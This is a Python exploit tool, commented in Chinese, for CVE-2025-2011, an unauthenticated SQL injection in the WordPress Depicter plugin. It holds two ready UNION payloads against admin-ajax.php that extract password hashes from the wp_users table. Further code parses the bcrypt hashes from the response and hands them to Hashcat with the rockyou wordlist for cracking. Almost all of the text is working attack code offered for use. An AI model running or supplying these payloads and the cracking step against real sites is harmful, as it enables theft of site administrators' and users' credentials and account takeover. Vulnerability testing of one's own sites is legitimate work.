Depicter插件SQL注入漏洞检测与利用工具（CVE-2025-2011）

# 定义了两个未经身份验证的SQL注入Payload，针对Depicter插件的不同AJAX端点。
PAYLOADS = {
    # Payload 1: 针对 `depicter-lead-index` 动作，尝试从 `wp_users` 表提取 `user_pass`
    "1": r"/wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+x",
    # Payload 2: 针对 `depicter-lead-list` 动作，尝试联合查询 `user_pass`
    "2": r"/wp-admin/admin-ajax.php?action=depicter-lead-list&s=test%27))+table_name+UNION+select+user_pass+FROM+wp_users--+x"
}

def test_sqli(url, payload_choice):
    """
    对给定的URL执行SQL注入测试。
    :param url: 目标网站的基础URL (例如: http://example.com)
    :param payload_choice: 要使用的Payload键 ('1' 或 '2')
    """
    global spinner_running
    # 从URL提取主机名，用于生成结果日志文件名
    hostname = urlparse(url).hostname or 'unknown_host'
    log_file = f"results_{hostname}.txt"
    
    # 根据选择获取Payload并构建完整的漏洞利用URL
    payload = PAYLOADS[payload_choice]
    full_url = url.rstrip("/") + payload
    print(f"{Fore.YELLOW}\n[+] Target: {Fore.CYAN}{full_url}")

    # 启动一个后台线程显示加载动画
    spinner_running = True
    t = threading.Thread(target=spinner)
    t.start()

    try:
        # 发送HTTP GET请求，触发SQL注入
        response = requests.get(full_url, timeout=10)
    except requests.RequestException as e:
        # 如果请求失败，停止动画并打印错误信息
        spinner_running = False
        t.join()
        print(f"{Fore.RED}\n[-] Request failed for {url}: {e}")
        return

    # 请求完成，停止加载动画
    spinner_running = False
    t.join()

    # 打印HTTP状态码和响应片段
    print(f"\n{Fore.GREEN}[+] Status: {response.status_code}")
    snippet = response.text[:500]
    print(f"{Fore.MAGENTA}[+] Response snippet:\n{Style.RESET_ALL}{snippet}")

    # 将探测结果写入日志文件
    with open(log_file, 'w') as f:
        f.write(f"URL: {full_url}\n")
        f.write(f"Status: {response.status_code}\n")
        f.write("Response snippet:\n")
        f.write(snippet + "\n")
    print(f"{Fore.CYAN}[+] Results saved to {log_file}")

    # 从响应中提取bcrypt哈希
    hashes = extract_hashes(response.text)
    if hashes:
        print(f"{Fore.GREEN}[+] Found possible bcrypt hashes: {hashes}")
        # 询问用户是否要破解哈希
        choice = input(f"{Fore.YELLOW}[?] Crack with Hashcat? (Y/N): ").strip().lower()
        if choice == 'y':
            run_hashcat(hashes)  # 调用Hashcat破解函数
        else:
            print(f"{Fore.CYAN}[+] Skipped Hashcat cracking.")
    else:
        print(f"{Fore.RED}[-] No bcrypt hashes detected in response.")

def extract_hashes(text):
    """
    使用正则表达式从文本中提取bcrypt哈希。
    bcrypt哈希通常以 $2a$, $2b$, $2y$ 开头。
    :param text: 要搜索的文本
    :return: 匹配到的哈希字符串列表
    """
    # 正则表达式匹配WordPress bcrypt哈希格式 (可能带有 $wp$ 前缀)
    pattern = re.compile(r'(?:\$wp\$)?\$2[aby]\$[./A-Za-z0-9]{56}')
    return pattern.findall(text)

def run_hashcat(hashes):
    """
    将提取的哈希写入文件并使用Hashcat进行破解。
    :param hashes: bcrypt哈希字符串列表
    """
    # 将哈希写入临时文件
    with open('hashes.txt', 'w') as f:
        for h in hashes:
            f.write(h + '\n')
    print(f"{Fore.CYAN}[+] Saved hashes to hashes.txt")
    print(f"{Fore.YELLOW}[~] Running Hashcat with rockyou.txt for bcrypt (mode 3200)")

    # 构建Hashcat命令：-m 3200 指定bcrypt哈希类型
    cmd = ['hashcat', '-m', '3200', 'hashes.txt', '/usr/share/wordlists/rockyou.txt']
    try:
        # 执行Hashcat命令
        subprocess.run(cmd)
    except FileNotFoundError:
        # 如果Hashcat未安装或找不到，提示错误
        print(f"{Fore.RED}[-] Hashcat not found or not installed!")